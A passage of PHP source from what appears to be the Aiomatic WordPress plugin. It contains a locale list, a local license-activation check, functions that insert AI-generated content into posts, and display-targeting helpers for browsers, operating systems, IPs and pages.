'mr_IN' => "Marathi (India)", 'mr' => "Marathi", 'mas_KE' => "Masai (Kenya)", 'mas_TZ' => "Masai (Tanzania)", 'mas' => "Masai", 'mer_KE' => "Meru (Kenya)", 'mer' => "Meru", 'mfe_MU' => "Morisyen (Mauritius)", 'mfe' => "Morisyen", 'naq_NA' => "Nama (Namibia)", 'naq' => "Nama", 'ne_IN' => "Nepali (India)", 'ne_NP' => "Nepali (Nepal)", 'ne' => "Nepali", 'nd_ZW' => "North Ndebele (Zimbabwe)", 'nd' => "North Ndebele", 'nb_NO' => "Norwegian Bokmål (Norway)", 'nb' => "Norwegian Bokmål", 'nn_NO' => "Norwegian Nynorsk (Norway)", 'nn' => "Norwegian Nynorsk", 'nyn_UG' => "Nyankole (Uganda)", 'nyn' => "Nyankole", 'or_IN' => "Oriya (India)", 'or' => "Oriya", 'om_ET' => "Oromo (Ethiopia)", 'om_KE' => "Oromo (Kenya)", 'om' => "Oromo", 'ps_AF' => "Pashto (Afghanistan)", 'ps' => "Pashto", 'fa_AF' => "Persian (Afghanistan)", 'fa_IR' => "Persian (Iran)", 'fa' => "Persian", 'pl_PL' => "Polish (Poland)", 'pl' => "Polish", 'pt_BR' => "Portuguese (Brazil)", 'pt_GW' => "Portuguese (Guinea-Bissau)", 'pt_MZ' => "Portuguese (Mozambique)", 'pt_PT' => "Portuguese (Portugal)", 'pt' => "Portuguese", 'pa_Arab' => "Punjabi (Arabic)", 'pa_Arab_PK' => "Punjabi (Arabic, Pakistan)", 'pa_Guru' => "Punjabi (Gurmukhi)", 'pa_Guru_IN' => "Punjabi (Gurmukhi, India)", 'pa' => "Punjabi", 'ro_MD' => "Romanian (Moldova)", 'ro_RO' => "Romanian (Romania)", 'ro' => "Romanian", 'rm_CH' => "Romansh (Switzerland)", 'rm' => "Romansh", 'rof_TZ' => "Rombo (Tanzania)", 'rof' => "Rombo", 'ru_MD' => "Russian (Moldova)", 'ru_RU' => "Russian (Russia)", 'ru_UA' => "Russian (Ukraine)", 'ru' => "Russian", 'rwk_TZ' => "Rwa (Tanzania)", 'rwk' => "Rwa", 'saq_KE' => "Samburu (Kenya)", 'saq' => "Samburu", 'sg_CF' => "Sango (Central African Republic)", 'sg' => "Sango", 'seh_MZ' => "Sena (Mozambique)", 'seh' => "Sena", 'sr_Cyrl' => "Serbian (Cyrillic)", 'sr_Cyrl_BA' => "Serbian (Cyrillic, Bosnia and Herzegovina)", 'sr_Cyrl_ME' => "Serbian (Cyrillic, Montenegro)", 'sr_Cyrl_RS' => "Serbian (Cyrillic, Serbia)", 'sr_Latn' => "Serbian (Latin)", 'sr_Latn_BA' => "Serbian (Latin, Bosnia and Herzegovina)", 'sr_Latn_ME' => "Serbian (Latin, Montenegro)", 'sr_Latn_RS' => "Serbian (Latin, Serbia)", 'sr' => "Serbian", 'sn_ZW' => "Shona (Zimbabwe)", 'sn' => "Shona", 'ii_CN' => "Sichuan Yi (China)", 'ii' => "Sichuan Yi", 'si_LK' => "Sinhala (Sri Lanka)", 'si' => "Sinhala", 'sk_SK' => "Slovak (Slovakia)", 'sk' => "Slovak", 'sl_SI' => "Slovenian (Slovenia)", 'sl' => "Slovenian", 'xog_UG' => "Soga (Uganda)", 'xog' => "Soga", 'so_DJ' => "Somali (Djibouti)", 'so_ET' => "Somali (Ethiopia)", 'so_KE' => "Somali (Kenya)", 'so_SO' => "Somali (Somalia)", 'so' => "Somali", 'es_AR' => "Spanish (Argentina)", 'es_BO' => "Spanish (Bolivia)", 'es_CL' => "Spanish (Chile)", 'es_CO' => "Spanish (Colombia)", 'es_CR' => "Spanish (Costa Rica)", 'es_DO' => "Spanish (Dominican Republic)", 'es_EC' => "Spanish (Ecuador)", 'es_SV' => "Spanish (El Salvador)", 'es_GQ' => "Spanish (Equatorial Guinea)", 'es_GT' => "Spanish (Guatemala)", 'es_HN' => "Spanish (Honduras)", 'es_419' => "Spanish (Latin America)", 'es_MX' => "Spanish (Mexico)", 'es_NI' => "Spanish (Nicaragua)", 'es_PA' => "Spanish (Panama)", 'es_PY' => "Spanish (Paraguay)", 'es_PE' => "Spanish (Peru)", 'es_PR' => "Spanish (Puerto Rico)", 'es_ES' => "Spanish (Spain)", 'es_US' => "Spanish (United States)", 'es_UY' => "Spanish (Uruguay)", 'es_VE' => "Spanish (Venezuela)", 'es' => "Spanish", 'sw_KE' => "Swahili (Kenya)", 'sw_TZ' => "Swahili (Tanzania)", 'sw' => "Swahili", 'sv_FI' => "Swedish (Finland)", 'sv_SE' => "Swedish (Sweden)", 'sv' => "Swedish", 'gsw_CH' => "Swiss German (Switzerland)", 'gsw' => "Swiss German", 'shi_Latn' => "Tachelhit (Latin)", 'shi_Latn_MA' => "Tachelhit (Latin, Morocco)", 'shi_Tfng' => "Tachelhit (Tifinagh)", 'shi_Tfng_MA' => "Tachelhit (Tifinagh, Morocco)", 'shi' => "Tachelhit", 'dav_KE' => "Taita (Kenya)", 'dav' => "Taita", 'ta_IN' => "Tamil (India)", 'ta_LK' => "Tamil (Sri Lanka)", 'ta' => "Tamil", 'te_IN' => "Telugu (India)", 'te' => "Telugu", 'teo_KE' => "Teso (Kenya)", 'teo_UG' => "Teso (Uganda)", 'teo' => "Teso", 'th_TH' => "Thai (Thailand)", 'th' => "Thai", 'bo_CN' => "Tibetan (China)", 'bo_IN' => "Tibetan (India)", 'bo' => "Tibetan", 'ti_ER' => "Tigrinya (Eritrea)", 'ti_ET' => "Tigrinya (Ethiopia)", 'ti' => "Tigrinya", 'to_TO' => "Tonga (Tonga)", 'to' => "Tonga", 'tr_TR' => "Turkish (Turkey)", 'tr' => "Turkish", 'uk_UA' => "Ukrainian (Ukraine)", 'uk' => "Ukrainian", 'ur_IN' => "Urdu (India)", 'ur_PK' => "Urdu (Pakistan)", 'ur' => "Urdu", 'uz_Arab' => "Uzbek (Arabic)", 'uz_Arab_AF' => "Uzbek (Arabic, Afghanistan)", 'uz_Cyrl' => "Uzbek (Cyrillic)", 'uz_Cyrl_UZ' => "Uzbek (Cyrillic, Uzbekistan)", 'uz_Latn' => "Uzbek (Latin)", 'uz_Latn_UZ' => "Uzbek (Latin, Uzbekistan)", 'uz' => "Uzbek", 'vi_VN' => "Vietnamese (Vietnam)", 'vi' => "Vietnamese", 'vun_TZ' => "Vunjo (Tanzania)", 'vun' => "Vunjo", 'cy_GB' => "Welsh (United Kingdom)", 'cy' => "Welsh", 'yo_NG' => "Yoruba (Nigeria)", 'yo' => "Yoruba", 'zu_ZA' => "Zulu (South Africa)", 'zu' => "Zulu" ); function aiomatic_validate_activation() { $plugin = plugin_basename(__FILE__); $plugin_slug = explode('/', $plugin); $plugin_slug = $plugin_slug[0]; $uoptions = array(); $is_activated = aiomatic_is_activated($plugin_slug, $uoptions); if($is_activated !== true && $is_activated !== 2) { return false; } return true; } function aiomatic_is_demo_server() { $demo_server_ip = '143.198.112.144'; $demo_server_url = '143.198.112.144'; $current_server_ip = $_SERVER['SERVER_ADDR']; $current_server_name = $_SERVER['SERVER_NAME']; if ($current_server_ip === $demo_server_ip && strpos($current_server_name, $demo_server_url) !== false) { return true; } return false; } function aiomatic_is_activated($plugin_slug, &$uoptions) { if (aiomatic_is_demo_server()) { return 2; } $blacklisted_purchase_codes = array(); $uoptions = get_option($plugin_slug . '_registration', array()); if(isset($uoptions['item_id']) && isset($uoptions['item_name']) && isset($uoptions['created_at']) && isset($uoptions['buyer']) && isset($uoptions['licence']) && isset($uoptions['supported_until'])) { if($uoptions['item_id'] == '19200046' || $uoptions['item_id'] == '38877369' || $uoptions['item_id'] == '13371337') { if(strstr($uoptions['item_name'], 'Mega') !== false || strstr($uoptions['item_name'], 'Item') !== false || stristr($uoptions['item_name'], 'Aiomatic') !== false) { if($uoptions['created_at'] === '10.10.2020' || $uoptions['supported_until'] === '10.10.2030') { return -1; } $supported_until = strtotime($uoptions['supported_until']); $created_at = strtotime($uoptions['created_at']); if(($created_at !== false || $uoptions['created_at'] === 'NA') && $supported_until !== false) { if($created_at !== false) { $mintime = strtotime('19.12.2016'); if($created_at < $mintime) { return -1; } } $yourtime = strtotime('+1 year +1 day'); if ($supported_until > $yourtime) { return -1; } $username_pattern = '/^[a-zA-Z0-9\s_-]+$/'; if (!preg_match($username_pattern, $uoptions['buyer'])) { return -1; } if($uoptions['licence'] === 'Regular License' || $uoptions['licence'] === 'Extended License' || $uoptions['licence'] === 'Custom License') { if(in_array($uoptions['code'], $blacklisted_purchase_codes)) { return -1; } $pattern = '/^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}$/'; if(preg_match($pattern, $uoptions['code'])) { return true; } else { return -1; } } else { return -1; } } else { return -1; } } else { return -1; } } else { return -1; } } return false; } function aiomatic_insert_ai_content($post_content, $ai_content) { if(empty($ai_content)) { return $post_content; } if(empty($post_content)) { return $ai_content; } $post_content_unchanged = $post_content; if (has_blocks($post_content)) { $blocks = parse_blocks($post_content); $gutenberg_block_types = ['core/paragraph', 'core/heading', 'core/image', 'core/video', 'core/quote', 'core/list']; $insertion_index = null; foreach ($blocks as $index => $block) { if (in_array($block['blockName'], $gutenberg_block_types)) { $insertion_index = intval(count($blocks) / 2); break; } } $ai_block = [ 'blockName' => 'core/paragraph', 'attrs' => [], 'innerHTML' => $ai_content, 'innerContent' => [$ai_content], ]; if ($insertion_index !== null) { array_splice($blocks, $insertion_index + 1, 0, [$ai_block]); } else { $blocks[] = $ai_block; } $post_content = ''; foreach ($blocks as $block) { if(!isset($block['blockName']) || empty($block['blockName'])) { $post_content .= $block['innerHTML']; } else { $post_content .= ''; $post_content .= apply_filters( 'the_content', render_block( $block ) ); $post_content .= ''; } } } else { $insertion_tags = ['p', 'div', 'article', 'section', 'figure', 'img', 'iframe']; $html_found = false; foreach($insertion_tags as $it) { if(strstr($post_content, '<' . $it) !== false) { $html_found = true; break; } } if($html_found === true) { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML('' . $post_content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new DOMXPath($dom); $insertion_point = null; foreach ($insertion_tags as $tag) { $nodes = $xpath->query("//" . $tag . "[not(ancestor::h1) and not(ancestor::h2) and not(ancestor::h3) and not(ancestor::h4) and not(ancestor::h5) and not(ancestor::a)]"); if ($nodes->length > 0) { $insertion_point = $nodes->item(intval($nodes->length / 2)); break; } } if ($insertion_point === null) { $insertion_point = $dom->documentElement; } if ($insertion_point !== null && strpos($post_content, $ai_content) === false) { $fragment = $dom->createDocumentFragment(); $fragment->appendXML($ai_content); if ($insertion_point->parentNode !== null) { $insertion_point->parentNode->insertBefore($fragment, $insertion_point->nextSibling); } else { $insertion_point->insertBefore($fragment, $insertion_point->nextSibling); } $post_content = $dom->saveHTML(); $pprefix = ''; if (substr($post_content, 0, strlen($pprefix)) == $pprefix) { $post_content = substr($post_content, strlen($pprefix)); } } } else { $delimiter = '. '; if (strpos($post_content, "\n") !== false) { $delimiter = "\n"; } $sentences = explode($delimiter, $post_content); $middle_index = intval(count($sentences) / 2); $modified_content = array_merge( array_slice($sentences, 0, $middle_index + 1), [$ai_content], array_slice($sentences, $middle_index + 1) ); $post_content = implode($delimiter, $modified_content); } } if ($post_content_unchanged == $post_content) { $post_content .= '
            ' . $ai_content; } return $post_content; } function aiomatic_insert_ai_content_old($post_content, $ai_content) { $post_content_unchanged = $post_content; $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($post_content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new DOMXPath($dom); $insertion_tags = ['p', 'div', 'article', 'section', 'figure', 'blockquote']; $gutenberg_blocks = [ 'paragraph' => ['start' => '', 'end' => ''], 'heading' => ['start' => '', 'end' => ''], 'image' => ['start' => '', 'end' => ''], 'video' => ['start' => '', 'end' => ''], 'quote' => ['start' => '', 'end' => ''], 'list' => ['start' => '', 'end' => ''] ]; $insertion_point = null; foreach ($gutenberg_blocks as $block) { $block_start = $block['start']; $block_end = $block['end']; if (strpos($post_content, $block_start) !== false && strpos($post_content, $block_end) !== false) { $gutenberg_blocks_parts = explode($block_start, $post_content); $middle_index = intval(count($gutenberg_blocks_parts) / 2); if(isset($gutenberg_blocks_parts[$middle_index])) { $gutenberg_block = $gutenberg_blocks_parts[$middle_index]; $insertion_point = trim($block_start . $gutenberg_block); $post_content = str_replace($insertion_point, $insertion_point . '' . $ai_content . '', $post_content); break; } } } if ($insertion_point === null) { foreach ($insertion_tags as $tag) { $nodes = $xpath->query("//" . $tag . "[not(ancestor::h1) and not(ancestor::h2) and not(ancestor::h3) and not(ancestor::h4) and not(ancestor::h5) and not(ancestor::h6) and not(ancestor::a)]"); if ($nodes->length > 0) { $insertion_point = $nodes->item(intval($nodes->length / 2)); break; } } } else { return $post_content; } if ($insertion_point === null) { $insertion_point = $dom->documentElement; } if ($insertion_point !== null && strpos($post_content, $ai_content) === false) { $fragment = $dom->createDocumentFragment(); $fragment->appendXML($ai_content); if($insertion_point->parentNode !== null) { $insertion_point->parentNode->insertBefore($fragment, $insertion_point->nextSibling); } else { $insertion_point->insertBefore($fragment, $insertion_point->nextSibling); } $post_content = $dom->saveHTML(); } if($post_content_unchanged == $post_content) { $post_content .= '
            ' . $ai_content; } return $post_content; } function aiomatic_get_blog_timezone() { $tzstring = get_option( 'timezone_string' ); $offset = get_option( 'gmt_offset' ); if( empty( $tzstring ) && 0 != $offset && floor( $offset ) == $offset ){ $offset_st = $offset > 0 ? "-$offset" : '+'.absint( $offset ); $tzstring = 'Etc/GMT'.$offset_st; } if( empty( $tzstring ) ){ $tzstring = 'UTC'; } $timezone = new DateTimeZone( $tzstring ); return $timezone; } function aiomatic_get_locales_content($selected) { $options = []; foreach($GLOBALS['aiomatic_language_by_locale'] as $code => $lang) { $selma = ''; if(in_array( $code, $selected )) { $selma = ' selected'; } $options[] = sprintf( '', $code, $selma, $lang ); } return implode("", $options); } function aiomatic_get_user_roles_content($selected) { $options = []; $roles = get_editable_roles(); foreach ( $roles as $k => $role ) { $selma = ''; if(in_array( $k, $selected )) { $selma = ' selected'; } $options[] = sprintf( '', $k, $selma, $role['name'] ); } return implode("", $options); } function aiomatic_get_devices_content($selected) { $options = []; $devices = ['desktop' => 'Desktop', 'tablet' => 'Tablet', 'mobile' => 'Mobile']; foreach ( $devices as $k => $role ) { $selma = ''; if(in_array( $k, $selected )) { $selma = ' selected'; } $options[] = sprintf( '', $k, $selma, $role ); } return implode("", $options); } function aiomatic_detectOS($oses) { $user_agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/' . str_replace('#', '', $oses) . '/i', $user_agent)) { return true; } return false; } function aiomatic_detectBrowser($browsers) { $user_agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/' . str_replace('#', '', $browsers) . '/i', $user_agent)) { return true; } return false; } function aiomatic_passIPs( $IPsVal ) { if ( is_array( $IPsVal ) ) { $IPsVal = implode( ',', $IPsVal ); } $IPsVal = explode( ',', str_replace( [' ', "\r", "\n"], ['', '', ','], $IPsVal ) ); return aiomatic_checkIPList( $IPsVal ); } function aiomatic_checkIPList( $IPsVal ) { foreach ( $IPsVal as $range ) { if ( ! aiomatic_checkIP( $range ) ) { continue; } return true; } return false; } function aiomatic_checkIP( $range ) { if ( empty( $range ) ) { return false; } if ( strpos( $range, '-' ) !== false ) { return aiomatic_checkIPRange( $range ); } return aiomatic_checkIPPart( $range ); } function aiomatic_filter_sections($sections) { return wp_strip_all_tags(str_replace('"', '', str_replace('\'', '', $sections))); } function aiomatic_checkIPPart( $range ) { $ip = $_SERVER['REMOTE_ADDR']; if ( empty( $ip ) ) { return false; } $ip_parts = explode( '.', $ip ); $range_parts = explode( '.', trim( $range ) ); $ip = implode( '.', array_slice( $ip_parts, 0, count( $range_parts ) ) ); return ! ( $range !== $ip ); } function aiomatic_checkIPRange( $range ) { $ip = $_SERVER['REMOTE_ADDR']; if ( empty( $ip ) ) { return false; } list( $min, $max ) = explode( '-', trim( $range ), 2 ); if ( $ip < trim( $min ) ) { return false; } $max = aiomatic_fillMaxRange( $max, $min ); return ! ( $ip > trim( $max ) ); } function aiomatic_fillMaxRange( $max, $min ) { $max_parts = explode( '.', $max ); if ( count( $max_parts ) === 4 ) { return $max; } $min_parts = explode( '.', $min ); $prefix = array_slice( $min_parts, 0, count( $min_parts ) - count( $max_parts ) ); return implode( '.', $prefix ) . '.' . implode( '.', $max_parts ); } function aiomatic_get_oses_content($selected) { $options = []; $oses = array( 'Windows' => esc_attr('Windows (All)'), 'Windows nt 11.0' => esc_attr('Windows 11'), 'Windows nt 10.0' => esc_attr('Windows 10'), 'Windows nt 6.2' => esc_attr('Windows 8'), 'Windows nt 6.1' => esc_attr('Windows 7'), 'Windows nt 6.0' => esc_attr('Windows Vista'), 'Windows nt 5.2' => esc_attr('Windows Server 2003'), 'Windows nt 5.1' => esc_attr('Windows XP'), 'Windows nt 5.01' => esc_attr('Windows 2000 sp1'), 'Windows nt 5.0' => esc_attr('Windows 2000'), 'Windows nt 4.0' => esc_attr('Windows NT 4.0'), 'Win 9x 4.9' => esc_attr('Windows Me'), 'Windows 98' => esc_attr('Windows 98'), 'Windows 95' => esc_attr('Windows 95'), 'Windows ce' => esc_attr('Windows CE'), '#(Mac OS|Mac_PowerPC|Macintosh)#' => esc_attr('Mac OS (All)'), 'Mac OS X' => esc_attr('Mac OSX (All)'), 'Mac OS X 10.11' => esc_attr('Mac OSX El Capitan'), 'Mac OS X 10.10' => esc_attr('Mac OSX Yosemite'), 'Mac OS X 10.9' => esc_attr('Mac OSX Mavericks'), 'Mac OS X 10.8' => esc_attr('Mac OSX Mountain Lion'), 'Mac OS X 10.7' => esc_attr('Mac OSX Lion'), 'Mac OS X 10.6' => esc_attr('Mac OSX Snow Leopard'), 'Mac OS X 10.5' => esc_attr('Mac OSX Leopard'), 'Mac OS X 10.4' => esc_attr('Mac OSX Tiger'), 'Mac OS X 10.3' => esc_attr('Mac OSX Panther'), 'Mac OS X 10.2' => esc_attr('Mac OSX Jaguar'), 'Mac OS X 10.1' => esc_attr('Mac OSX Puma'), 'Mac OS X 10.0' => esc_attr('Mac OSX Cheetah'), '#(Mac_PowerPC|Macintosh)#' => esc_attr('Mac OS (classic)'), '#(Linux|X11)#' => esc_attr('Linux'), 'OpenBSD' => esc_attr('Open BSD'), 'SunOS' => esc_attr('Sun OS'), 'QNX' => esc_attr('QNX'), 'BeOS' => esc_attr('BeOS'), 'OS/2' => esc_attr('OS/2') ); foreach ( $oses as $k => $role ) { $selma = ''; if(in_array( $k, $selected )) { $selma = ' selected'; } $options[] = sprintf( '', $k, $selma, $role ); } return implode("", $options); } function aiomatic_get_browsers_content($selected) { $options = []; $oses = array( 'Chrome' => esc_attr('Chrome') . ' (' . esc_html__('All') . ')', '#Chrome\/(12[1-9]|130)\.#' => esc_attr('Chrome 121-130'), '#Chrome\/(11[1-9]|120)\.#' => esc_attr('Chrome 111-120'), '#Chrome\/(10[1-9]|110)\.#' => esc_attr('Chrome 101-110'), '#Chrome\/(9[1-9]|100)\.#' => esc_attr('Chrome 91-100'), '#Chrome\/(8[1-9]|90)\.#' => esc_attr('Chrome 81-90'), '#Chrome\/(7[1-9]|80)\.#' => esc_attr('Chrome 71-80'), '#Chrome\/(6[1-9]|70)\.#' => esc_attr('Chrome 61-70'), '#Chrome\/(5[1-9]|60)\.#' => esc_attr('Chrome 51-60'), '#Chrome\/(4[1-9]|50)\.#' => esc_attr('Chrome 41-50'), '#Chrome\/(3[1-9]|40)\.#' => esc_attr('Chrome 31-40'), '#Chrome\/(2[1-9]|30)\.#' => esc_attr('Chrome 21-30'), '#Chrome\/(1[1-9]|20)\.#' => esc_attr('Chrome 11-20'), '#Chrome\/([1-9]|10)\.#' => esc_attr('Chrome 1-10'), 'Firefox' => esc_attr('Firefox') . ' (' . esc_html__('All') . ')', '#Firefox\/(12[1-9]|130)\.#' => esc_attr('Firefox 121-130'), '#Firefox\/(11[1-9]|120)\.#' => esc_attr('Firefox 111-120'), '#Firefox\/(10[1-9]|110)\.#' => esc_attr('Firefox 101-110'), '#Firefox\/(9[1-9]|100)\.#' => esc_attr('Firefox 91-100'), '#Firefox\/(8[1-9]|90)\.#' => esc_attr('Firefox 81-90'), '#Firefox\/(7[1-9]|80)\.#' => esc_attr('Firefox 71-80'), '#Firefox\/(6[1-9]|70)\.#' => esc_attr('Firefox 61-70'), '#Firefox\/(5[1-9]|60)\.#' => esc_attr('Firefox 51-60'), '#Firefox\/(4[1-9]|50)\.#' => esc_attr('Firefox 41-50'), '#Firefox\/(3[1-9]|40)\.#' => esc_attr('Firefox 31-40'), '#Firefox\/(2[1-9]|30)\.#' => esc_attr('Firefox 21-30'), '#Firefox\/(1[1-9]|20)\.#' => esc_attr('Firefox 11-20'), '#Firefox\/([1-9]|10)\.#' => esc_attr('Firefox 1-10'), 'MSIE' => esc_attr('Internet Explorer') . ' (' . esc_html__('All') . ')', 'MSIE Edge' => esc_attr('Internet Explorer Edge'), 'Edge\/18' => esc_attr('Edge 18'), 'Edge\/17' => esc_attr('Edge 17'), 'Edge\/16' => esc_attr('Edge 16'), 'Edge\/15' => esc_attr('Edge 15'), 'Edge\/14' => esc_attr('Edge 14'), 'Edge\/13' => esc_attr('Edge 13'), 'Edge\/12' => esc_attr('Edge 12'), 'MSIE 11' => esc_attr('Internet Explorer 11'), 'MSIE 10.6' => esc_attr('Internet Explorer 10.6'), 'MSIE 10.0' => esc_attr('Internet Explorer 10.0'), 'MSIE 10.' => esc_attr('Internet Explorer 10'), 'MSIE 9.' => esc_attr('Internet Explorer 9'), 'MSIE 8.' => esc_attr('Internet Explorer 8'), 'MSIE 7.' => esc_attr('Internet Explorer 7'), '#MSIE [1-6]\.#' => esc_attr('Internet Explorer 1-6'), 'Opera' => esc_attr('Opera') . ' (' . esc_html__('All') . ')', '#Opera\/(11[1-9]|120)\.#' => esc_attr('Opera 111-120'), '#Opera\/(10[1-9]|110)\.#' => esc_attr('Opera 101-110'), '#Opera\/(9[1-9]|100)\.#' => esc_attr('Opera 91-100'), '#Opera\/(8[1-9]|90)\.#' => esc_attr('Opera 81-90'), '#Opera\/(7[1-9]|80)\.#' => esc_attr('Opera 71-80'), '#Opera\/(6[1-9]|70)\.#' => esc_attr('Opera 61-70'), '#Opera\/(5[1-9]|60)\.#' => esc_attr('Opera 51-60'), '#Opera\/(4[1-9]|50)\.#' => esc_attr('Opera 41-50'), '#Opera\/(3[1-9]|40)\.#' => esc_attr('Opera 31-40'), '#Opera\/(2[1-9]|30)\.#' => esc_attr('Opera 21-30'), '#Opera\/(1[1-9]|20)\.#' => esc_attr('Opera 11-20'), '#Opera\/([1-9]|10)\.#' => esc_attr('Opera 1-10'), 'Safari' => esc_attr('Safari') . ' (' . esc_html__('All') . ')', '#Version\/17\..*Safari/#' => esc_attr('Safari 17'), '#Version\/16\..*Safari/#' => esc_attr('Safari 16'), '#Version\/15\..*Safari/#' => esc_attr('Safari 15'), '#Version\/14\..*Safari/#' => esc_attr('Safari 14'), '#Version\/13\..*Safari/#' => esc_attr('Safari 13'), '#Version\/12\..*Safari/#' => esc_attr('Safari 12'), '#Version\/11\..*Safari/#' => esc_attr('Safari 11'), '#Version\/10\..*Safari/#' => esc_attr('Safari 10'), '#Version\/9\..*Safari/#' => esc_attr('Safari 9'), '#Version\/8\..*Safari/#' => esc_attr('Safari 8'), '#Version\/7\..*Safari/#' => esc_attr('Safari 7'), '#Version\/6\..*Safari/#' => esc_attr('Safari 6'), '#Version\/5\..*Safari/#' => esc_attr('Safari 5'), '#Version\/4\..*Safari/#' => esc_attr('Safari 4'), '#Version\/[1-3]\..*Safari/#' => esc_attr('Safari 1-3') ); foreach ( $oses as $k => $role ) { $selma = ''; if(in_array( $k, $selected )) { $selma = ' selected'; } $options[] = sprintf( '', $k, $selma, $role ); } return implode("", $options); } function aiomatic_get_wordpress_content($selected) { $options = []; $defaults = [ 'search' => 'Search' ]; if ( count( $selected ) > 1 && in_array( '*', $selected ) ) { $selected = [ '*' ]; } foreach ( $defaults as $val => $label ) { $attributes = in_array( $val, $selected ) ? [ 'value' => $val, 'selected' => 'selected' ] : [ 'value' => $val ]; $selma = ''; if(isset($attributes['selected'])) { $selma = ' selected'; } $options[] = sprintf( '', $attributes["value"], $selma, $label ); } if ( $pages = get_pages() ) { $options[] = ''; array_unshift( $pages, (object) [ 'post_title' => 'Pages (All)' ] ); foreach ( $pages as $page ) { $val = isset( $page->ID ) ? 'page-' . $page->ID : 'page'; $attributes = in_array( $val, $selected ) ? [ 'value' => $val, 'selected' => 'selected' ] : [ 'value' => $val ]; $selma = ''; if(isset($attributes['selected'])) { $selma = ' selected'; } $options[] = sprintf( '', $attributes["value"], $selma, $page->post_title ); } $options[] = ''; } $options[] = ''; foreach ( [ 'home', 'single', 'archive' ] as $view ) { $val = $view; $attributes = in_array( $val, $selected ) ? [ 'value' => $val, 'selected' => 'selected' ] : [ 'value' => $val ]; $selma = ''; if(isset($attributes['selected'])) { $selma = ' selected'; } $options[] = sprintf( '', $attributes["value"], $selma, 'Post', ucfirst( $view ) ); } $options[] = ''; foreach ( array_keys( get_post_types( ['_builtin' => false, 'publicly_queryable' => true ] ) ) as $posttype ) { if($posttype == 'aiomatic_remote_chat') { continue; } $obj = get_post_type_object( $posttype ); if ( null === $obj ) { continue; } $label = ucfirst( $posttype ); if ( $obj->publicly_queryable ) { $options[] = ''; foreach ( [ 'single', 'archive', 'search' ] as $view ) { $val = $posttype . '-' . $view; $attributes = in_array( $val, $selected ) ? [ 'value' => $val, 'selected' => 'selected' ] : [ 'value' => $val ]; $selma = ''; if(isset($attributes['selected'])) { $selma = ' selected'; } $options[] = sprintf( '', $attributes["value"], $selma, $label, ucfirst( $view ) ); } $options[] = ''; } } foreach ( array_keys( get_taxonomies() ) as $tax ) { if ( in_array( $tax, [ "post_tag", "nav_menu" ] ) ) { continue; } if ( $categories = get_categories( [ 'taxonomy' => $tax ] ) ) { $options[] = ''; foreach ( $categories as $category ) { $val = 'in-cat-' . $category->cat_ID; $attributes = in_array( $val, $selected ) ? [ 'value' => $val, 'selected' => 'selected' ] : [ 'value' => $val ]; $selma = ''; if(isset($attributes['selected'])) { $selma = ' selected'; } $options[] = sprintf( '', $attributes["value"], $selma, esc_html__( 'In', 'helper' ) . ' ' . $category->cat_name ); } $options[] = ''; } } foreach ( array_keys( get_taxonomies() ) as $tax ) { if ( in_array( $tax, [ "post_tag", "nav_menu" ] ) ) { continue; } if ( $categories = get_categories( [ 'taxonomy' => $tax ] ) ) { $options[] = ''; foreach ( $categories as $category ) { $val = 'cat-' . $category->cat_ID; $attributes = in_array( $val, $selected ) ? [ 'value' => $val, 'selected' => 'selected' ] : [ 'value' => $val ]; $selma = ''; if(isset($attributes['selected'])) { $selma = ' selected'; } $options[] = sprintf( '', $attributes["value"], $selma, $category->cat_name ); } $options[] = ''; } } return implode( "", $options ); } function aiomatic_get_post_characteristics() { global $wp_query; $obj = $wp_query->get_queried_object(); $type = get_post_type(); $query = []; if ( is_home() ) { $query[] = 'home'; } if ( is_front_page() ) { $query[] = 'front_page'; } if ( $type === 'post' ) { if ( is_singular() ) { $query[] = 'single'; $post_cats = get_the_category(); if ( $post_cats ) { foreach ( $post_cats as $category ) { $query[] = 'in-cat-' . $category->term_id; } } } if ( is_archive() ) { $query[] = 'archive'; } } else if ( is_singular() ) { $query[] = $type . '-single'; } elseif ( is_archive() ) { $query[] = $type . '-archive'; } if ( is_search() ) { $query[] = 'search'; } if ( is_page() ) { $query[] = $type; $query[] = $type . '-' . $obj->ID; } if ( is_category() ) { $query[] = 'cat-' . $obj->term_id; } if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) { if ( is_shop() && ! is_search() ) { $query[] = 'page'; $query[] = 'page-' . wc_get_page_id( 'shop' ); } if ( is_product_category() || is_product_tag() ) { $query[] = 'cat-' . $obj->term_id; } } return $query; } function aiomatic_containsMarkdown($text) { if(strstr($text, '**') !== false) { return true; } $markdownPatterns = [ '/\s*#{1,6}\s+/', // Headers (e.g., # Header, ## Header, etc.) '/\*\*[^*]+\*\*/', // Bold (e.g., **bold**) '/\*[^*]+\*/', // Italics (e.g., *italic*) '/!\[[^\]]*\]\([^\)]+\)/', // Images (e.g., ![alt text](url)) '/\[[^\]]*\]\([^\)]+\)/', // Links (e.g., [text](url)) '/(`{1,3})[^`]+(`{1,3})/', // Inline code (e.g., `code` or ```code```) '/\*\s+/', // Unordered lists (e.g., * item) '/\d+\.\s+/', // Ordered lists (e.g., 1. item) '/>\s+/', // Blockquotes (e.g., > quote) '/-{3,}/', // Horizontal rules (e.g., ---) '/^\|.+\|$/m', // Tables (e.g., | Header |) ]; $htmlPattern = '/<[^>]+>/'; if (preg_match($htmlPattern, $text)) { return false; } foreach ($markdownPatterns as $pattern) { if (preg_match($pattern, $text)) { return true; } } return false; } function aiomatic_remove_parasite_phrases($text) { $parasite_phrases = [ 'In conclusion,', 'In summary,', 'To sum up,', 'To conclude,', 'Finally,', 'In the end,', 'To wrap it up,', 'Overall,', 'Ð’ заключение,', 'Итак,', 'Ð’ общем,', 'Ðаконец,', 'En conclusión,', 'En resumen,', 'Para concluir,', 'Finalmente,', 'En conclusion,', 'En résumé,', 'Pour conclure,', 'Finalement,', 'Abschließend,', 'Zusammenfassend,', 'Um zusammenzufassen,', 'Schließlich,', 'In conclusione,', 'In sintesi,', 'Per concludere,', 'Infine,', 'Em conclusão,', 